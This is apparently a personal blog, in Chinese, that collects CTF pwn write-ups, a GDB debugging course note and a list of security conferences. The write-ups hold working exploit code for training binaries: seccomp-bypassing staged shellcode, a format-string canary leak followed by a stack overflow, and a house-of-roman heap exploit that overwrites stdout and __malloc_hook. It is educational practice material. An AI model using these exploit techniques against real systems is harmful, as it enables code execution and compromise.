题目分析打眼一看就发现是一个排序，但是由于自己对端续、有符号数、内存值等一些概念不清楚、晕乎了很常见。首先这道题并不是要找一个最小化的shellcode，直接拿shell（应该是可以绕过的把，），因为排序的因素，直接拿shell排序会比较难，不如先read进来，没限制了，再干其他的。沙箱有沙箱保护 seccomp-tools dump ./rop execve类似的还有吧 execveat 123456789 line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW if (A >= 0x40000000) goto 0006 没有这个哦 https://www.anquanke.com/post/id/219077 http://shell-storm.org/shellcode/files/shellcode-905.html 这里有一个比较短的execveat的shellcode，但是，仍然比较难排序，因为指令太多了，而且有个长指令必须连起来如果不绕过的话就 orw了对 ((void (*)(void))dest)()的理解dest怎么理解呢，（还好要到了原题，不然。。也可以自己再写一遍的。。都问题不大，多动手！）其实就是存放的shellcode的地址，然后当成函数，直接调用这个位置的指令，（就是函数指针） ((void (*)(void))dest)() ，将dest转换为一个函数指针，函数不带参数，且无返回值 call rax, 然后就可以执行shellcode吗 rax里存放的是shellcode那里的起始地址，也就是将要执行的指令的地址，call会做两件事，一件是把当前的下一条指令压栈，另外一件是把rax指向的地址赋值给rip（类似于jmp）思路长度还有限制，所以应该是先通过一个read片段，把后续代码读入mmap的空间（不会受排序影响），然后再跳转过去即可。注意可以利用的信息,rdi存储着mmap的地址,可以利用这里有个细节，读入的地址不要和要执行的jmp重合，很容易覆盖到jmp那里,影响指令，所以需要往后写，比如rdi+0x100 shellcode 排序64位系统调用规则: rax是系统调用号，参数和函数的一样，rdi、rsi、rdx。。 00也会被解释的，所以需要补齐，用0x90 nop 0xfc cld这种指令,并且可以利用他们来调整顺序 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657read(0,buf,0x100) 48 8b df mov rbx,rdi //把要写的地址传给rbx（因为rbx在其他地方用不到）31 d2 xor edx,edx //为什么不是rdx呢b6 01 mov dh,0x1 //一方面设置第三个参数 0x100，也就是read的大小，48 01 d3 add rbx,rdx //另一方面可以让rbx+0x100，31 C0 xor eax,eax //为什么不是rax, read系统调用号是031 ff xor edi,edi // 第一个参数0 ，标准输入48 89 de mov rsi,rbx //第二个参数，buf地址0f 05 syscallff e6 jmp rbx //跳转到后续shellcode地址所以问什么不48 89 fe mov rsi,rdi //把要写的地址传给rbx（因为rbx在其他地方用不到）31 d2 xor edx,edxb6 01 mov dh,0x1 //一方面设置rdx为0x100，也就是read的大小，48 01 d6 add rsi,rdx //另一方面可以让rbx+0x100，31 C0 xor eax,eax 31 ff xor edi,edi // 第一个参数0 ，标准输入0f 05 syscallff e6 jmp rsi //跳转到后续shellcode地址注意字节序是反的 0xfe89480xd2310x01b60xd601480xc0310xff310x050f0xe6ff 排序有几个注意点1.负数是自身绝对值越大，数值越大吗。。(是的把，按位取反加1，看起来越大的值，补码越小，再加符号，越大，)（有空再看看。。2.谁必须在谁前面一个90，一个fc就可以保证了3.syscall和jmp rsi必须在最后（fcfc就可以保证了，其他的最大fc90） 0x90fe89480x9090d2310x90fc01b60xfcd601480xfc90c0310xfc90ff310xfcfc050f0xfcfce6ff0x7fffffff0x7fffffff -1869557199 -1862532682 -1862366904 -57622479 -57606351 -53083832 -50592497 -50534657 2147483647 2147483647 同学的: 写一个脚本辅助生成(其实就是模拟题目) 这里是不是可以用cap那个工具显示指令(埋个坑吧)、以及连起来更多的,一键生成exp 12345678910111213141516171819202122232425262728#include <bits/stdc++.h>#include <unistd.h>#include <sys/mman.h>int DIEnum[20];int main(){ puts("10"); char* v1=(char *)mmap(0,0x1000,7,34,-1,0ll); for (int i=0;i<=9;i++){ scanf("%x",&DIEnum[i]); } printf("未排序前结果：\n"); for (int i=0;i<=9;i++){ printf("%d\n",DIEnum[i]); } std::sort(DIEnum,DIEnum+10); printf("排序后结果：\n"); for (int i=0;i<=9;i++){ printf("0x%-16x %d\n",DIEnum[i],DIEnum[i]); } printf("输入的值：\n"); for (int i=0;i<=9;i++){ printf("%d ",DIEnum[i]); } return 0;} 二段shellcode这里应该就随意了,生成一个orw的就可以了 1234567891011121314from pwn import *# 设置目标架构为x86-64context.arch = 'amd64'# 默认的是大端序，可以修改context.endian = 'little'shellcode = shellcraft.open("./flag")shellcode += shellcraft.read("rax","rsp",100)shellcode += shellcraft.write(1,"rsp",100)print(asm(shellcode)) 最终exp123456789101112131415161718192021222324252627282930from pwn import *# 设置目标架构为x86-64context.arch = 'amd64'# 默认的是大端序，可以修改context.endian = 'little'io = process('./sorted')context(os='linux',log_level="debug")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(io)io.sendline(b'-1869557199 -1862532682 -1862366904 -57622479 -57606351 -53083832 -50592497 -50534657 2147483647 2147483647')#pause()'''sc_elf = ELF('b.out')sc = sc_elf.get_section_by_name('.shellcode').data()print(sc)'''sc = b'hflagH\x89\xe71\xd21\xf6j\x02X\x0f\x05\x89\xc71\xc0j ZH\x89\xe6\x0f\x05j\x01_j ZH\x89\xe6j\x01X\x0f\x05\xcc'#pause()shellcode = shellcraft.open("./flag")shellcode += shellcraft.read("rax","rsp",100)shellcode += shellcraft.write(1,"rsp",100)io.send(flat({ 0: asm(shellcode), 0x100: [],}))io.interactive() 各种疑惑问: 为什么-490631024 读入内存会成为 0xe2c19090 答: 负数会采用补码来存储问: 为什么前期用python得到的数输入进去奇奇怪怪答:0xfcffffff scanf %d 读取的时候，会解释为负数，所以不能用python里的直接数值转换来得到题目要输入的值（怪不得前期一直不对。。） 12345678910value = 0xfcffffff if 0xfcffffff < 0x80000000 else 0xfcffffff - 0x100000000print(value)这样就对了或者import structdata = struct.pack("I", 0xfcffffff) # 将无符号整数打包为二进制数据value = struct.unpack("i", data)[0] # 将二进制数据解析为有符号整数print(value) 怎么比较好的在gdb中查看shellcode的汇编呢 display /20i $pc https://blog.csdn.net/counsellor/article/details/100034080 https://amritabi0s.wordpress.com/2017/10/23/hack-lu-ctf-bit-writeup/ pwntools的使用123456789101112131415161718192021222324252627282930313233343536373839404142from pwn import *# 设置目标架构为x86-64context.arch = 'amd64'# 默认的是大端序，可以修改context.endian = 'little'shellcode = shellcraft.sh() # 指令字符串shellcodeasm = asm(shellcraft.sh()) # 二进制数据# 使用 disasm 函数查看每一行汇编指令的十六进制值disassembled = disasm(shellcodeasm)# 分割每一行汇编指令instructions = disassembled.split('\n')# 打印每一行指令及其十六进制值for instruction in instructions: print(instruction)# 打印整个shellcode的十六进制值print(shellcodeasm.hex())# 如何打印指定汇编指令的16进制值assembly_code = "mov eax,0x123"hex_assembly = asm(assembly_code)hex_assembly_code = asm(assembly_code).hex()hex_assembly_1 = disasm(hex_assembly)print(f"汇编指令二进制表示: {hex_assembly}")print(f"汇编指令的十六进制表示: {hex_assembly_code}")print(f"汇编指令: {hex_assembly_1}")## shellcraft的各种使用方法shellcraft.read() pwn asm汇编器 https://leeyuxun.github.io/pwntools%E6%A8%A1%E5%9D%97%E6%80%BB%E7%BB%93.html https://zero-mk.github.io/2019/01/01/pwntools-Command%20Line%20Tools/ 123pwn asm "mov eax,0x1"b801000000 ez_pwn1234567891011121314151617int __cdecl main(int argc, const char **argv, const char **envp){ char buf[32]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); puts("input your name"); fflush(_bss_start); read(0, buf, 0x20uLL); puts("hello: "); fflush(_bss_start); printf(buf); puts("leave some message"); fflush(_bss_start); read(0, buf, 0x48uLL); return 0;} 主要是有个canary,把canary泄露出来就可以了,普通栈溢出，利用格式化字符串来泄露canary，注意前六个参数是在寄存器里的值呀。然后接收的时候注意先把hello：什么的接收了， 1234567891011[DEBUG] Received 0x10 bytes: b'input your name\n'[DEBUG] Sent 0x6 bytes: b'%11$p\n'b'\n'[DEBUG] Received 0x2e bytes: b'hello: \n' b'0x2535be38a9253e00\n' b'leave some message\n'b'hello: \n' exp12345678910111213141516171819202122232425from pwn import *context(os='linux',log_level="debug")p = process("ezpwn")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)p.recvuntil("name")#p.sendline(b"a"*32)p.sendline(b"%11$p")print(p.recvline())print(p.recvline())canary = int(p.recvline()[:-1],16)print("canary:",hex(canary))print("canary:",canary)#pause()p.recvuntil("message")payload = b"a"*40 +p64(canary) + p64(0x123456) + p64(0x4012b0)+p64(0x4011d6)#pause()p.send(payload)#pause()p.recv(1024)p.interactive() 关于格式化字符串传参：传递10个参数看看 12345#include <stdio.h>void main(){ printf("1:%s 2:%s 3:%s 4:%s 5:%s 6:%s 7:%s 8:%s 9:%s\n","1aaa","2bbb","3ccc","4ddd","5eee","6fff","7ggg","8hhh","9iii");} rdi、rsi、rdx、rcx、r8、r9 可以看到前5个在寄存器,后面在栈里,从rsp开始 12345678910111213141516171819202122232425262728*RAX 0x0 RBX 0x5555555551b0 (__libc_csu_init) ◂— endbr64 RCX 0x555555556012 ◂— 0x6262320063636333 /* '3ccc' */ RDX 0x555555556017 ◂— 0x6161310062626232 /* '2bbb' */ RDI 0x555555556028 ◂— '1:%s 2:%s 3:%s 4:%s 5:%s 6:%s 7:%s 8:%s 9:%s\n' RSI 0x55555555601c ◂— 0x61616131 /* '1aaa' */ R8 0x55555555600d ◂— 0x6363330064646434 /* '4ddd' */ R9 0x555555556008 ◂— 0x6464340065656535 /* '5eee' */ R10 0x3 R11 0x0 R12 0x555555555060 (_start) ◂— endbr64 R13 0x7fffffffe5a0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffe4b0 ◂— 0x0 RSP 0x7fffffffe490 —▸ 0x555555556065 ◂— 0x100000066666636 /* '6fff' */*RIP 0x5555555551a0 (main+87) ◂— call 0x555555555050 00:0000│ rsp 0x7fffffffe490 —▸ 0x555555556065 ◂— 0x100000066666636 /* '6fff' */01:0008│ 0x7fffffffe498 —▸ 0x555555556060 ◂— 0x6666360067676737 /* '7ggg' */02:0010│ 0x7fffffffe4a0 —▸ 0x55555555605b ◂— 0x6767370068686838 /* '8hhh' */03:0018│ 0x7fffffffe4a8 —▸ 0x555555556056 ◂— 0x6868380069696939 /* '9iii' */04:0020│ rbp 0x7fffffffe4b0 ◂— 0x005:0028│ 0x7fffffffe4b8 —▸ 0x7ffff7de4083 (__libc_start_main+243) ◂— mov edi, eax06:0030│ 0x7fffffffe4c0 —▸ 0x7ffff7ffc620 (_rtld_global_ro) ◂— 0x50f7a0000000007:0038│ 0x7fffffffe4c8 —▸ 0x7fffffffe5a8 —▸ 0x7fffffffe7f4 ◂— '/home/ubuntu/c/a.out' 问题类似的题 https://blog.csdn.net/tbsqigongzi/article/details/124371294 这个为什么进入ret了,但是失败了? ret栈平衡? fflush(_bss_start);有什么用呢

盛格塾课程-拍案惊奇GDB以战说法1-谁截断了我的指针?

发表于2023-10-26|更新于2023-10-26|PWN调试|调试

前言之前知道老师是因为《软件调试》这本书，非常厉害，但是因为主要是windows的一直还没读（因为主要学习Linux，不过最近越发感觉不能局限于一个系统），最近看见一个大佬在朋友圈转发这个课，才发现张老师原来是有自己的公司和培训，看了下来太牛了，立马报名了。 (老师b站也有号, 官网nanocode.cn,) 还有其他很多优秀的课程,看来要好好买一波了..这才是真正有价值的知识付费!! 背景老师将实际案例中的一个问题抽象出了一个很简单的demo, 用于搜索argv[0]的名字, 其实也就是当前可执行程序的名字,本身看着这个代码是没有什么问题的(不,有问题,没有include parser.c) parser.c 123456789// parser.c#include <string.h>const char * get_name(const char* full_path){ const char * sep = strrchr(full_path, '/'); return (sep == NULL)? "errname": sep+1; } ptrtrap.c 123456789101112#include <stdio.h>int main(int argc, char* argv[]){ char* name = get_name(argv[0]); printf("Demo of pointer trap by Raymond.\n"); printf("Name: %s\n", name); return 0;} 在编译的时候会给出一个警告 gcc -g ptrtrap.c parser.c 1234567root@VM-4-8-ubuntu:/home/ubuntu/youlan# gcc -g ptrtrap.c parser.cptrtrap.c: In function ‘main’:ptrtrap.c:5:22: warning: implicit declaration of function ‘get_name’; did you mean ‘rename’? [-Wimplicit-function-declaration] 5 | char* name = get_name(argv[0]); | ^~~~~~~~ | renameptrtrap.c:5:22: warning: initialization of ‘char *’ from ‘int’ makes pointer from integer without a cast [-Wint-conversion] 运行的时候会发生段错误 Program received signal SIGSEGV, Segmentation fault 段错误，访问了不该访问的调试分析回溯粗看朱熹的不远复:“不远复”，出自《易经》“不远之复，以修身也”。和孔子的吾日三省吾身有异曲同工之妙,人要不断反思自己,反省走的路. bt命令回溯调用栈 , 库函数一般都经过很多修改和测试、一般没问题，所以更多的还是自己写的代码的问题可以减少bt的显示，如 bt -frame-info short-location 不带源代码位置 frame 3查看自己写的函数里的栈帧的情况, list查看源代码，这样就能够看到上下文， disass查看汇编所以能够看到问题是在 call printf这里，产生了问题, 也就是传入的name有问题问: __printf为什么带下划线？答: 因为__printf是libc实现的， _ _通常是编译器的函数编译器的优化？ info shared查看进程里的库, ld负责把程序从外存搬运到内存, libc负责实现标准库函数 1234pwndbg> info sharedFrom To Syms Read Shared Object Library0x00007ffff7fc5090 0x00007ffff7fee315 Yes /lib64/ld-linux-x86-64.so.20x00007ffff7daf700 0x00007ffff7f41b3d Yes /lib/x86_64-linux-gnu/libc.so.6 函数从哪里开始执行？ elf从哪里开始呢，不是main 是_start(), bt有个选项 -past-main查看main函数之前的,有的默认开启了 __libc_start_call_main 用来做准备工作？细看崩溃指令来到崩溃的那一行汇编来看看什么情况,这里指向的含义是尝试执行这条指令，但是失败了 vpcmpeqb指令 [rdi]是引用内存, 此时的rdi的值是0xffffffffffffe7db,我们来看一下内存的情况,用info inferiors命令,查看进程,然后从proc里看内存(pwndbg可以直接vmmap) 从这里看地址就能看出来，是无效地址, 用户空间的大小早超了(所以说每个细节都需要关注) 123456789101112131415161718192021222324252627pwndbg> info inferiors Num Description Connection Executable* 1 process 1269337 1 (native) /home/ubuntu/youlan/a.outpwndbg> !cat /proc/1269337/maps555555554000-555555555000 r--p 00000000 fc:02 822041 /home/ubuntu/youlan/a.out555555555000-555555556000 r-xp 00001000 fc:02 822041 /home/ubuntu/youlan/a.out555555556000-555555557000 r--p 00002000 fc:02 822041 /home/ubuntu/youlan/a.out555555557000-555555558000 r--p 00002000 fc:02 822041 /home/ubuntu/youlan/a.out555555558000-555555559000 rw-p 00003000 fc:02 822041 /home/ubuntu/youlan/a.out555555559000-55555557a000 rw-p 00000000 00:00 0 [heap]7ffff7d84000-7ffff7d87000 rw-p 00000000 00:00 07ffff7d87000-7ffff7daf000 r--p 00000000 fc:02 29791 /usr/lib/x86_64-linux-gnu/libc.so.67ffff7daf000-7ffff7f44000 r-xp 00028000 fc:02 29791 /usr/lib/x86_64-linux-gnu/libc.so.67ffff7f44000-7ffff7f9c000 r--p 001bd000 fc:02 29791 /usr/lib/x86_64-linux-gnu/libc.so.67ffff7f9c000-7ffff7fa0000 r--p 00214000 fc:02 29791 /usr/lib/x86_64-linux-gnu/libc.so.67ffff7fa0000-7ffff7fa2000 rw-p 00218000 fc:02 29791 /usr/lib/x86_64-linux-gnu/libc.so.67ffff7fa2000-7ffff7faf000 rw-p 00000000 00:00 07ffff7fbb000-7ffff7fbd000 rw-p 00000000 00:00 07ffff7fbd000-7ffff7fc1000 r--p 00000000 00:00 0 [vvar]7ffff7fc1000-7ffff7fc3000 r-xp 00000000 00:00 0 [vdso]7ffff7fc3000-7ffff7fc5000 r--p 00000000 fc:02 2337 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27ffff7fc5000-7ffff7fef000 r-xp 00002000 fc:02 2337 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27ffff7fef000-7ffff7ffa000 r--p 0002c000 fc:02 2337 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27ffff7ffb000-7ffff7ffd000 r--p 00037000 fc:02 2337 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27ffff7ffd000-7ffff7fff000 rw-p 00039000 fc:02 2337 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall] 何人传来无效指针? 库函数出问题概率很低，所以找自己写的函数. 我们知道问题出在name变量上 frame 3 、然后用 p name 、info locals 都能看到是无效的 info frame 看函数的栈帧信息既然是name错了它哪里来的？ get_name， get_name调试设置get_name的断点进行调试返回值看rax（通常通用寄存器第一个存返回值），rax在返回的时候是没问题的，那哪里出问题了。。此时事情就很奇怪了返回后执行ni, 单步一下,再看值,就错了答案揭晓问题就出在这一条指令上,它改变了值的大小 cdqe: 扩展指令,使用eax的最高位拓展rax高32位的所有位 x86下和arm不太一样, sxtw这条指令有问题（arm下这是编译器故意产生的指令,和没有include这个函数有关系,再深入的..就先放放问题与知识补充 include进来就没问题了 #include “parser.c” 但是有个新的warning 32位下编译没问题为什么会有一个nop指令 nop插桩如何跑arm系统macbook直接可以 x86怎么装？：看样子基本上离不开qemu 云服务器买 https://blog.csdn.net/chenxiangneu/article/details/78955462 设置符号服务器？失败了如何再执行？info signal info handle handle SIGSEGV nopass （不给应用程序再跑一遍又会收到这个信号 smd指令。。。用户空间内核空间大小

pwn入门-44-houseofroman

发表于2023-10-25|更新于2023-11-03|PWN|PWN入门

在一次比赛中遇到了堆题,没有show函数,懵逼了…当时有略过一丝思路通过io stdout输出,但奈何这方面知识了解还不多(不过确实可以通过搜索引擎搜索关键字来找到这种手法) (后来发现这是n年前的手法了😭, 例题npuctf_2020_bad_guy 题目分析经典菜单堆,但是没有show 1234567891011121314151617181920212223242526272829303132333435363738394041int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int num; // eax prog_init(argc, argv, envp); while ( 1 ) { while ( 1 ) { puts("=== Bad Guy ==="); puts("1. Malloc"); puts("2. Edit"); puts("3. Free"); printf(">> "); num = read_num(); if ( num != 2 ) break; edit(); } if ( num > 2 ) { if ( num == 3 ) { delete(); } else { if ( num == 4 ) exit(0);LABEL_13: puts("2333, Bad Guy!"); } } else { if ( num != 1 ) goto LABEL_13; add(); } }} 结构体1234struct { int size; char *content;} heaparray; add12345678910111213141516171819ssize_t add(){ unsigned __int64 num; // [rsp+0h] [rbp-10h] __int64 size; // [rsp+8h] [rbp-8h] printf("Index :"); num = read_num(); printf("size: "); size = read_num(); *((_QWORD *)&heaparray + 2 * num + 1) = malloc(size); if ( !*((_QWORD *)&heaparray + 2 * num + 1) || num > 0xA ) { puts("Bad Guy!"); exit(1); } *((_QWORD *)&heaparray + 2 * num) = size; printf("Content:"); return read(0, *((void **)&heaparray + 2 * num + 1), size);} heaparray是存放分配堆块的指针的 1234pwndbg> tele 0x55555560204000:0000│ 0x555555602040 (heaparray) ◂— 0x1401:0008│ 0x555555602048 (heaparray+8) —▸ 0x555555400ced (add+92) ◂— mov rdx, qword ptr [rbp - 0x10]02:0010│ 0x555555602050 (heaparray+16) ◂— 0x0 deletefree过后也置0了如果不置0,那free是干了什么..我记得是.. 12345678910111213141516171819int delete(){ _QWORD *v0; // rax unsigned __int64 num; // [rsp+8h] [rbp-8h] printf("Index :"); num = read_num(); if ( *((_QWORD *)&heaparray + 2 * num + 1) || num > 0xA ) { free(*((void **)&heaparray + 2 * num + 1)); v0 = (_QWORD *)((char *)&heaparray + 16 * num + 8); *v0 = 0LL; } else { LODWORD(v0) = puts("Bad Guy!"); } return (int)v0;} edit1234567891011121314151617181920int edit(){ unsigned __int64 num; // [rsp+0h] [rbp-10h] __int64 nbytes; // [rsp+8h] [rbp-8h] if ( count <= 0 ) { puts("Bad Guy!"); exit(1); } --count; printf("Index :"); num = read_num(); printf("size: "); nbytes = read_num(); if ( !*((_QWORD *)&heaparray + 2 * num + 1) || num > 9 ) return puts("Bad Guy!"); printf("content: "); return read(0, *((void **)&heaparray + 2 * num + 1), nbytes);} 这里是漏洞点,可以读入任意的大小 alarm 把值给改了 123456789pwndbg> niProgram received signal SIGALRM, Alarm clock.0x0000555555400ced in add ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────*RAX 0x555555602040 (heaparray) ◂— 0x0 RBX 0x0*RCX 0x555555400ced (add+92) ◂— mov rdx, qword ptr [rbp - 0x10] 123456unsigned int prog_init(){ setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); return alarm(0x3Cu);} 思路开了pie,应该先想办法泄漏地址,然后用onegadget覆盖malloc_hook等即可泄露地址利用io stdout进行泄漏、(前期方便调试可以本地先关闭alsr) 具体来说,要构造堆块重叠(类似double free感觉?如果不够造但是可以直接修改地址吗不是), 修改_IO_2_1_stdout _的flags值(原理在最后) ,然后就可以泄露地址了构造四个堆块,free掉0x60的2号,然后利用edit的漏洞把1大小改为0x90,然后释放,然后通过malloc一个0x10大小堆块,使得剩余的堆块与释放的2号堆块重叠重叠的目的是把unsortedbin的fd的地址放到fastbin地址那里,让fastbin能利用这个地址进行申请 123456789101112malloc(0,0x10) malloc(1,0x10) malloc(2,0x60) malloc(3,0x10) free(2) payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91) edit(0,len(payload),payload) free(1) #pause() malloc(4,0x10) #pause() 没有malloc 0x10前,可以看到fastbin的位置,以及它的fd是没有值的 malloc后将后四字节修改为0x255，然后malloc两次就可以分到_IO_2_1_stdout _上面的位置,之所以要分配0x25dd那里,是因为要满足堆的大小检查要求 1234567payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91) edit(0,len(payload),payload) #pause() malloc(5,0x60) #pause() payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0) malloc(6,0x60,payload) 不满足要求的话会报错 Error in `./npuctf_2020_bad_guy’: malloc(): memory corruption (fast): 0x00007ffff7dd25f5 ,这一块等分析源码的时候再细看 malloc完之后,_IO_2_1_stdout的flags就被修改了，也就是要修改对应flag的值和 _IO_write_base, _IO_write_ptr, _IO_write_end等就会自动输出缓存区的信息?????? 然后就会泄露libc地址了,泄漏的地址是多少呢,是0x7ffff7dd2600,为啥呢?,减去偏移就得到了基址 payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0) (0x33 = 51 = 6*8 + 3) + 2 * 8 +1 = 8 * 8 + 4 从 0xed那里开始输入数据, 0x33 * p8(0) = 51, 而0x2620-0x25ed正好是51 故伎重演,替换malloc_hook为onegadget 此时堆的布局的话,还有一个0x60大小的unsortedbin, 分了再free放进fastbin, 此时有地址了,就不需要那么麻烦再利用unsortedbin的地址了,直接edit修改就可以了,然后两次malloc把__malloc_hook那里改为onegadget 12345678malloc(7,0x60) #pause() free(7) payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 0x23) #* 3 + p64(0x91) edit(0,len(payload),payload) malloc(8,0x60) payload = 0x13 * p8(0) + p64(libc.offset_to_vaddr(one[3])) malloc(9,0x60,payload) 如何开启了alsr 如何爆破呢学到了, 这样获取错误, 以前自己写循环tryexcept这里一直有问题,回头可以试试用这里的是否可以 123456789101112while 1: try: pwn() break except KeyboardInterrupt: p.close() p = remote("node4.buuoj.cn","27593") #p = process(binary) except : p.close() #p = process(binary) p = remote("node4.buuoj.cn","27593") 枚举的话, 不用增加点偏移吗, 或者说偏移也有可能是0? 一些细节libc的版本做题的话注意一下版本,buuctf用的是2.23-0ubuntu11_amd64,这个版本我在网上没找到,找到的没符号,自己编译的还报错(用ubuntu20编译的,不知道16是不是可以) 不同版本偏移不一样但是那个2.23- 多少是一样的 exp用的这位师傅的: https://blog.csdn.net/csdn546229768/article/details/123717993 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130#! /usr/bin/pythonfrom pwn import *#import syscontext.terminal = ['tmux', 'splitw', '-h']context.log_level = 'debug'context.arch = 'amd64'SigreturnFrame(kernel = 'amd64')binary = "./npuctf_2020_bad_guy"one = [0x45226,0x4527a,0xf03a4,0xf1247] #2.23-0ubuntu11.3#one = [0x45216,0x4526a,0xf02a4,0xf1147] # buuctf#idx = int(sys.argv[1])global plocal = 1if local: p = process(binary) #gdb.attach(p) e = ELF(binary) libc = e.libcelse: p = remote("node4.buuoj.cn","27593") e = ELF(binary) #libc = e.libc libc = ELF('./libc-2.23.buu.so')################################ Condfig ############################################sd = lambda s:p.send(s)sl = lambda s:p.sendline(s)rc = lambda s:p.recv(s)ru = lambda s:p.recvuntil(s)sa = lambda a,s:p.sendafter(a,s)sla = lambda a,s:p.sendlineafter(a,s)it = lambda :p.interactive()def z(s='b main'): gdb.attach(p,s)def logs(mallocr,string='logs'): if(isinstance(mallocr,int)): print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,mallocr)) else: print('\033[1;31;40m%20s-->%s\033[0m'%(string,mallocr))def pa(s='1'): log.success('pause : step---> '+str(s)) pause()def info(data,key='info',bit=64): if(bit == 64): leak = u64(data.ljust(8, b'\0')) else: leak = u32(data.ljust(4, b'\0')) logs(leak,key) return leak################################ Function ############################################def malloc(i,s,c = 'A'): sla('>> ','1') sla('Index :',str(i)) sla('size:',str(s)) sa('Content:',c)def edit(i,s,c = 'A'): sla('>> ','2') sla('Index :',str(i)) sla('size:',str(s)) sa('content:',c)def free(i): sla('>> ','3') sla('Index :',str(i))################################### Statr ############################################def pwn(): malloc(0,0x10) malloc(1,0x10) malloc(2,0x60) malloc(3,0x10) free(2) payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91) edit(0,len(payload),payload) free(1) malloc(4,0x10) payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91) edit(0,len(payload),payload) #pause() malloc(5,0x60) payload = 0x33 * p8(1) + p64(0xfbad800) + p64(0)*3 + p8(0) #pause() malloc(6,0x60,payload) #pa() #libc.address = info(ru('\x7f')[-6:]) - (0x7ffff7dd2600 - 0x7ffff7a0d000) #libc.address = info(ru('\x7f')[-6:]) #print(hex(libc.address)) libc.address = info(ru('\x7f')[-6:]) - (0x7ffff7dd2600 - 0x7ffff7a0d000) print(hex(libc.address)) #pause() malloc(7,0x60) #pause() free(7) #pause() payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 0x23) #* 3 + p64(0x91) #pause() edit(0,len(payload),payload) malloc(8,0x60) payload = 0x13 * p8(0) + p64(libc.offset_to_vaddr(one[3])) malloc(9,0x60,payload) #pause() sla('>> ','1') sla('Index :',str(10)) sla('size:',str(10)) p.interactive()################################### End ##############################################pwn()p.close()'''while 1: try: pwn() break except KeyboardInterrupt: p.close() p = remote("node4.buuoj.cn","27593") #p = process(binary) except : p.close() #p = process(binary) p = remote("node4.buuoj.cn","27593") ''' 参考https://blog.csdn.net/u014377094/article/details/124577350 https://blog.csdn.net/csdn546229768/article/details/123717993 IO_stdout泄漏libc pwndbg: parseheap https://zhuanlan.zhihu.com/p/320151545 这个蛮详细的 https://blog.csdn.net/zzq487782568/article/details/123773034 这个整体思路可以利用unstortedbin打stdout泄露出libc https://www.cnblogs.com/LynneHuan/p/14851770.html https://j-kangel.github.io/2020/03/13/利用-IO-2-1-stdout-泄漏libc/#分析遗留问题为什么后来分配的 malloc(4,0x10)的fd和nt是那个值呢？枚举的话, 不用增加点偏移吗, 或者说偏移也有可能是0? pwndbg: parseheap

网安四大顶会及科研前沿资源整理

发表于2023-10-20|更新于2023-11-01|科研(并没有)|论文

研一读了一点论文,研二开始读的少了,毕竟是专硕………. 不过好歹是学习到了一点东西,觉得有必要整理一下,将来肯定还会用到. 顶会论文,其他CCF类论文论文寻找方式, 下载方式知网 scihub、中文期刊其他像 blackhat等会议论文知识图谱 dblp 国外几大出版社 https://arxiv.org 一、论文获取四大顶会网安有四大顶会, 文章质量非常高,代表了最前沿的网安技术. 1. usenix security官网:https://www.usenix.org 可以从上方的conferences找到会议信息,或者直接进这个链接,有历年的https://www.usenix.org/conferences/byname/108 从主入口进的不一定是usenix顶会会议,还有其他会议,这个才是然后可以从program里面找paper 快速的论文检索: 可以看目录 program–TECHNICAL SESSIONS–Table of Contents 可以从里面看小标题分类,找感兴趣的方向 https://www.usenix.org/sites/default/files/sec23_contents.pdf 2.NDSS官网:https://www.ndss-symposium.org NDSS收文量就少很多了,上方导航能很清晰看到会议信息, 可以查看目录快速浏览(program-symposium program-Proceedings Frontmatter):https://www.ndss-symposium.org/wp-content/uploads/NDSS2022_Proceedings_Front_Matter.pdf https://www.likecs.com/show-433567.html https://www.ndss-symposium.org/ndss2019/accepted-papers/ 3.CCSACM SIGSAC Conference on Computer and Communications Security 官网: https://www.sigsac.org/ccs.html acm数据库中: https://dl.acm.org/conference/ccs/proceedings 可以看Front Matter,类似于目录 https://www.sigsac.org/ccs/CCS2018/proceedings/ https://www.sigsac.org/ccs/CCS2022/program/accepted-papers.html 4. S&PIEEE Symposium on Security and Privacy 官网:https://www.ieee-security.org/index.html dblp:https://dblp.uni-trier.de/db/conf/sp/index.html 2023年的: https://www.ieee-security.org/TC/SP2023/ sp的sok论文(综述论文) https://oaklandsok.github.io 这个好像分了sp和euro sp, euro sp就不是A类会议了? 